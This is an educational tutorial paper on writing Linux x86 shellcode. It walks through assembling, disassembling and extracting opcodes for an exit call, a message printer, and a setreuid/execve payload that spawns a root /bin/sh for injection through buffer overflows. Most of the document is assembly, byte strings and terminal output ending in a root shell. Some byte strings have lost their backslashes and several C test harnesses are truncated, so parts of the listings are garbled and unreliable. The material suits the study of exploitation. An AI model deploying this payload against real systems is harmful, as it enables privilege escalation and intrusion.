Shellcoding in linux

Shellcoding in Linux
Ajin Abraham aka ><302
ajin25@gmail.com
www.keralacyberforce.in

Shellcode: An Introduction

Shellcode is machine code that when executed spawns a shell. Not all "Shellcode" spawns a
shell. Shellcode is a list of machine code instructions which are developed in a manner that
allows it to be injected in a vulnerable application during its runtime. Injecting Shellcode in an
application is done by exploiting various security holes in an application like buffer overflows,
which are the most popular ones. You cannot access any values through static addresses
because these addresses will not be static in the program that is executing your Shellcode. But
this is not applicable to environment variable. While creating a shell code always use the
smallest part of a register to avoid null string. A Shellcode must not contain null string since null
string is a delimiter. Anything after null string is ignored during execution. That’s a brief about
Shellcode.

Methods for generating Shellcode
1. Write the shellcode directly in hex code.

2. Write the assembly instructions, and then extract the opcodes to generate the shellcode.

3. Write in C, extract assembly instructions and then the opcodes and finally generate the
shellcode.

The x86 Intel Register Set

 EAX, EBX, ECX, and EDX are all 32-bit General Purpose Registers.
 AH, BH, CH and DH access the upper 16-bits of the General Purpose Registers.
 AL, BL, CL, and DL access the lower 8-bits of the General Purpose Registers.
 EAX, AX, AH and AL are called the 'Accumulator' registers and can be used for I/O port
access, arithmetic, interrupt calls etc. We can use these registers to implement system
calls.
 EBX, BX, BH, and BL are the 'Base' registers and are used as base pointers for memory
access. We will use this register to store pointers in for arguments of system calls. This
register is also sometimes used to store return value from an interrupt in.
 ECX, CX, CH, and CL are also known as the 'Counter' registers.
 EDX, DX, DH, and DL are called the 'Data' registers and can be used for I/O port access,
arithmetic and some interrupt calls.

The Linux System Call
 The actions or events that initialize the entrance into the kernel are

1. Hardware Interrupt.
2. Hardware trap.
3. Software initiated trap.

 System calls are a special case of software initiated trap. The machine instruction used to
initiate a system call typically causes a hardware trap that is handled specially by the
kernel.
 In Linux, the system calls are implemented using
1. lcall7/lcall27 gates (lcall7_func)
2. int 0x80 (software interrupt)
 ESI and EDI are used when making Linux system calls.
 More information about Linux system calls :

http://tldp.org/LDP/khg/HyperNews/get/syscall/syscall86.html
http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html

KEEP IN MIND
 The assembly language syntax used in this paper is based on nasm assembler.
 The XOR is a great opcodes for zeroing a register to eliminate the null bytes
 When developing shellcode you will find out that using the smallest registers often
prevents having null bytes in code.

REQUIREMENTS
 Backtrack 5 operating system.
 Basic Knowledge about Linux Terminal.
 Knowledge about Assembly Language in x86 Architecture (32bit).

TOOLS REQUIRED (Available in Backtrack 5)
 gcc - it is a C and C++ compiler.
 ld – it is a tool used for linking .
 nasm - the Netwide Assembler is a portable 80x86 assembler
 objdump – it is a tool that displays information from object files.
 strace – A tool to trace system calls and signals

Linux Shellcoding

We will be using assembly language code for generating the shellcode. We get the most
efficient lines of codes when we go to machine level. Since we cannot go up with binaries we
will be coding in semi machine code-assembly language with which we will generate the useful
and efficient shellcode.

To test the Shellcode We will be using this C program. We can insert the shell code
into the program and run it.

/*shellprogram.c
Kerala Cyber Force – Ajin Abraham * /

char code[] = "Insert your shellcode here";
int main(int argc, char **argv) //execution begins here
{
int (*exeshell)(); //exeshell is a function pointer
exeshell = (int (*)()) code; //exeshell points to our shellcode
(int)(*exeshell)(); //execute as function code[]

}

We will go through 3 examples of creating and executing shellcode.

1. Demonstration of exit system call.
2. Demonstration of displaying a message “Kerala Cyber Force”.
3. Demonstration of spawning a shell.

1. Demonstration of exit system call
I am beginning with exit system call because of its simplicity. Open up Backtrack and take any
file editor. Given below is the assembly code for exit system call.

;exitcall.asm
;Kerala Cyber Force – Ajin Abraham
[SECTION .text]
global _start
_start:
mov ebx,0 ;exit code, 0=normal exit
mov eax,1 ;exit command to kernel
int 0x80 ;interrupt 80 hex, call kernel

Save exitcall.asm and issue the following commands in the terminal.
We will assemble the code using nasm and link it with ld.

root@bt:~# nasm -f elf exitcall.asm
root@bt:~# ld -o exit exitcall.o

Now we use objdump to extract the shell code from the object exit.o
root@bt:~# objdump -d exit

exit: file format elf32-i386

Disassembly of section .text:

08048060 <_start>:

8048060: bb 00 00 00 00 mov $0x0,%ebx
8048065: b8 01 00 00 00 mov $0x1,%eax
804806a: cd 80 int $0x80

Here you can see a lot of nulls (00) our shellcode won’t get executed if the nulls are there. The
CPU will ignore whatever that comes after null. It is better always use the smallest register
when inserting or moving a value in shell coding. We can easily remove NULL bytes by taking
an 8-bit register rather than a 32bit register. So here we use AL register instead of eax register
and XOR ebx register to eliminate the nulls. We modify the assembly code as

;exitcall.asm
[SECTION .text]
global _start
_start:
xor ebx,ebx ;zero out ebx, same function as mov ebx,0
mov al, 1 ;exit command to kernel
int 0x80

We go through assembling linking and dumping:
root@bt:~# nasm -f elf exitcall.asm
root@bt:~# ld -o exit exitcall.o
root@bt:~# objdump -d ./exit

./exit: file format elf32-i386


08048060 <_start>:
8048060: 31 db xor %ebx,%ebx
8048062: b0 01 mov $0x1,%al
8048064: cd 80 int $0x80
See here there are no nulls (00). The bytes we need are 31 db 31 c0 b0 01 cd 80.

So now the shell code will be “x31xdbx31xc0xb0x01xcdx80”

Insert the shell code in our test program shellprogram.c

/*shellprogram.c
Kerala Cyber Force – Ajin Abraham */
char code[] = "x31xdbx31xc0xb0x01xcdx80";
int main(int argc, char **argv)
{
int (*exeshell)();
exeshell = (int (*)()) code;
(int)(*exeshell)();
}

Now, compile and execute shellprogram.c.

root@bt:~# gcc shellprogram.c -o shellprogram
root@bt:~# ./shellprogram
root@bt:~# echo $?
0

The output will be blank since it’s an exit call. To determine the exit status give the command “echo $?”
which prints out “0” as the exit state. We have successfully executed our first piece of shell code.  You
can also strace the program to ensure that it is calling exit.

root@bt:~# strace ./shellprogram
execve("./shellprogram", ["./shellprogram"], [/* 33 vars */]) = 0
brk(0) = 0x9b14000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xb770e000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=70950, ...}) = 0
mmap2(NULL, 70950, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb76fc000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "177ELF11100000000030301000000m10004000"...,
512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1405508, ...}) = 0
mmap2(NULL, 1415592, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
0xb75a2000
mprotect(0xb76f5000, 4096, PROT_NONE) = 0
mmap2(0xb76f6000, 12288, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x153) = 0xb76f6000
mmap2(0xb76f9000, 10664, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76f9000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xb75a1000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb75a16c0, limit:1048575,
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1,
seg_not_present:0, useable:1}) = 0
mprotect(0xb76f6000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xb772c000, 4096, PROT_READ) = 0
munmap(0xb76fc000, 70950) = 0
_exit(0) = ?

Here we can see the first system call execve executing out program, followed by the opening of
the dynamic linker/loader ld.so (first nohwcap, preload then cache) to load shared libraries,
followed by the opening of libc which loads the standard C library, followed by its identification
as an ELF file ("177ELF"), followed by our program being mapped in the memory, and finally
our call to exit. So it works.

2. Demonstration of displaying a message “Kerala Cyber Force”.
Now let’s create a shellcode that displays a message. Here I will demonstrate how to load the
address of a string in a piece of our code at runtime. This is important because while running
shellcode in an unknown environment, the address of the string will be unknown because the
program is not running in its normal address space. Consider the following assembly language
program kcf.asm

;kcf.asm

[SECTION .text]

global _start

_start:

jmp short ender

starter:

xor eax, eax ;zero out eax
xor ebx, ebx ;zero out ebx
xor edx, edx ;zero out edx
xor ecx, ecx ;zero out ecx
mov al, 4 ;system call write
mov bl, 1 ;stdout is 1
pop ecx ;pop out the address of the string from the stack
mov dl, 18 ;length of the string
int 0x80 ;call the kernel
mov al, 1 ;exit the shellcode
xor ebx,ebx
int 0x80
ender:
call starter ;put the address of the string on the stack
db 'Kerala Cyber Force'

Assemble it, link it and dump it.
root@bt:~# nasm -f elf kcf.asm
root@bt:~# ld -o kcf kcf.o
root@bt:~# objdump -d kcf

kcf: file format elf32-i386


08048060 <_start>:
8048060: eb 19 jmp 804807b <ender>

08048062 <starter>:
8048062: 31 c0 xor %eax,%eax
8048064: 31 db xor %ebx,%ebx
8048066: 31 d2 xor %edx,%edx
8048068: 31 c9 xor %ecx,%ecx
804806a: b0 04 mov $0x4,%al
804806c: b3 01 mov $0x1,%bl
804806e: 59 pop %ecx
804806f: b2 12 mov $0x12,%dl
8048071: cd 80 int $0x80
8048073: 31 c0 xor %eax,%eax
8048075: b0 01 mov $0x1,%al
8048077: 31 db xor %ebx,%ebx
8048079: cd 80 int $0x80

0804807b <ender>:
804807b: e8 e2 ff ff ff call 8048062 <starter>
8048080: 4b dec %ebx
8048081: 65 gs
8048082: 72 61 jb 80480e5 <ender+0x6a>
8048084: 6c insb (%dx),%es:(%edi)
8048085: 61 popa
8048086: 20 43 79 and %al,0x79(%ebx)
8048089: 62 65 72 bound %esp,0x72(%ebp)
804808c: 20 46 6f and %al,0x6f(%esi)
804808f: 72 63 jb 80480f4 <ender+0x79>
8048091: 65 gs

Now we can extract the shellcode as

"xebx19x31xc0x31xdbx31xd2x31xc9xb0x04xb3x01x59xb2x12xcdx80x31
xc0xb0x01x31xdbxcdx80xe8xe2xffxffxffx4bx65x72x61x6cx61x20x43x79
x62x65x72x20x46x6fx72x63x65"


/*shellprogram.c

char code[] =
"xebx19x31xc0x31xdbx31xd2x31xc9xb0x04xb3x01x59xb2x12xcdx80
x31xc0xb0x01x31xdbxcdx80xe8xe2xffxffxffx4bx65x72x61x6cx61
x20x43x79x62x65x72x20x46x6fx72x63x65";
;
{
int (*exeshell)();
(int)(*exeshell)();
}

Save compile and run shellprogram.c

Kerala Cyber Force

And now we just created a shellcode that outputs a string to the standard output device, your
monitor. Here dynamic string addressing and zero outing register are demonstrated.

3. Demonstration of spawning a shell.
Now I will explain you the core of this paper, how to generate a shellcode that can spawn a
shell with root privilege if it’s dropped. Here we call setreuid() to set root privilege if it’s
dropped and we call execve() to execute our shell /bin/sh.

For getting more info about setreuid, we check its manual.

root@bt:~# man setreuid

===============SKIPED======================
#include <sys/types.h>
#include <unistd.h>
int setreuid(uid_t ruid, uid_t euid);
int setregid(gid_t rgid, gid_t egid);

===============SKIPED======================

We are interested in the above bolded code. The assembly code for setting the root privilege
will be as follows.
mov al, 70 ;setreuid is syscall 70
xor ebx, ebx ;zero out ebx
xor ecx, ecx ;zero out ecx
int 0x80 ;call the kernel

The following assembly code attempts to set root privileges if they are dropped.
Now for getting more info about execve, we check its manual.

root@bt:~# man setreuid

===============SKIPED======================

#include <unistd.h>
int execve(const char *filename, char *const argv[],char *const envp[]);

===============SKIPED======================

We are interested in the above bolded code. Here it’s a bit harder one. We need a null
terminated string, the address of the string and a * null pointer in adjacent memory like

execve("/bin/sh", *"/bin/sh", (char **)NULL);

Consider the following assembly code:

pop ebx ;get the address of the string

mov [ebx+7 ], al ;put a NULL where the N is in the string
mov [ebx+8 ], ebx ;put the address of the string in ebx, where
;the XXXX is
mov [ebx+12], eax ;put 4 null bytes into where the YYYY is
;our string now looks like
;"/bin/sh0(*ebx)(*0000)"
mov al, 11 ;execve is syscall 11
lea ecx, [ebx+8] ;put the address of XXXX(*ebx) into ecx
lea edx, [ebx+12] ;put the address of YYYY(*0000), nulls into
;edx
int 0x80 ;call the kernel, and we got Shell!!

Consider this string “/bin/shNXXXXYYYY” in the memory .Here /bin/sh is our null terminated
string (we must replace N with '0'), XXXX (4 bytes) is the address of the address of our string,
and YYYY (4 bytes) is the address of the envp[] pointer( which we are going to call with *NULL).
We combine both the codes to generate our final assembly code that will set the root privilege
and spawns a shell.

;shellex.asm
[SECTION .text]

global _start

_start:
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80

jmp short ender

starter:

pop ebx
xor eax, eax

mov [ebx+7 ], al
mov [ebx+8 ], ebx
mov [ebx+12], eax
mov al, 11
lea ecx, [ebx+8]

lea edx, [ebx+12]
int 0x80

ender:
call starter
db '/bin/shNXXXXYYYY'

Now as usual assemble it, link it and dump and extract the shell code.

root@bt:~# nasm -f elf shellex.asm
root@bt:~# ld -o shellex shellex.o
root@bt:~# objdump -d shellex

shellex: file format elf32-i386


08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: b0 46 mov $0x46,%al
8048064: 31 db xor %ebx,%ebx
8048066: 31 c9 xor %ecx,%ecx
8048068: cd 80 int $0x80
804806a: eb 16 jmp 8048082 <ender>

0804806c <starter>:
804806c: 5b pop %ebx
804806d: 31 c0 xor %eax,%eax
804806f: 88 43 07 mov %al,0x7(%ebx)
8048072: 89 5b 08 mov %ebx,0x8(%ebx)
8048075: 89 43 0c mov %eax,0xc(%ebx)
8048078: b0 0b mov $0xb,%al
804807a: 8d 4b 08 lea 0x8(%ebx),%ecx
804807d: 8d 53 0c lea 0xc(%ebx),%edx
8048080: cd 80 int $0x80

08048082 <ender>:
8048082: e8 e5 ff ff ff call 804806c <starter>
8048087: 2f das
8048088: 62 69 6e bound %ebp,0x6e(%ecx)
804808b: 2f das
804808c: 73 68 jae 80480f6 <ender+0x74>
804808e: 4e dec %esi
804808f: 58 pop %eax
8048090: 58 pop %eax
8048091: 58 pop %eax
8048092: 58 pop %eax
8048093: 59 pop %ecx
8048094: 59 pop %ecx
8048095: 59 pop %ecx
8048096: 59 pop %ecx

The extracted shellcode looks like this

"x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88x43x07x89x5b
x08x89x43x0cxb0x0bx8dx4bx08x8dx53x0cxcdx80xe8xe5xffxffxffx2fx62x
69x6ex2fx73x68x4ex58x58x58x58x59x59x59x59"

/*shellprogram.c

char code[] =
"x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88x43x07x89
x5bx08x89x43x0cxb0x0bx8dx4bx08x8dx53x0cxcdx80xe8xe5xffxff
xffx2fx62x69x6ex2fx73x68x4ex58x58x58x58x59x59x59x59";

{
int (*exeshell)();
(int)(*exeshell)();
}

sh-4.1# whoami
root
sh-4.1# exit
exit

The smaller the shellcode the more useful it will be and can target more vulnerable programs.
So let’s tweak our shellcode. So here NXXXXYYYY after /bin/sh was given to reserve some space.

We no longer need them in the shellcode so we can remove them and the tweaked shellcode
will be as follows:

"x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88x43x07x89x5b
x08x89x43x0cxb0x0bx8dx4bx08x8dx53x0cxcdx80xe8xe5xffxffxffx2fx62x
69x6ex2fx73x68"


/*shellprogram.c

char code[] =
"x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88x43x07x89
x5bx08x89x43x0cxb0x0bx8dx4bx08x8dx53x0cxcdx80xe8xe5xffxff
xffx2fx62x69x6ex2fx73x68";

{
int (*exeshell)();
(int)(*exeshell)();
}

sh-4.1# whoami
root
sh-4.1# exit
exit

So that’s the beginning of Shellcoding in Linux. There is lot ways for creating efficient Shellcode.
Keep in mind we can build the most robust, efficient, functional and evil  code if we go with
assembly language.

DISCLAIMER
 This paper is made for simplicity and for better understanding of Shellcoding in Linux.
 A lot of the explanations are referred from other papers.
 This paper is for you. So you got the right to correct me if I am wrong at somewhere.
Send your comments and queries to ajin25 AT gmail DOT com.

REFERNCES
 Paper: Shellcoding for Linux and Windows Tutorial – Mr. Steve Hanna.
(http://www.vividmachines.com/shellcode/shellcode.html)
 Paper: Writing shellcode - zillion
(http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html)
 Paper: Introduction to Writing Shellcode
(http://www.phiral.net/shellcode.htm)

 Paper: DESIGNING SHELLCODE DEMYSTIFIED
(http://www.enderunix.org/documents/en/sc-en.txt) - murat

WEBSITES
 http://tldp.org/LDP/khg/HyperNews/get/syscall/syscall86.html
 http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html

Shellcoding in linux

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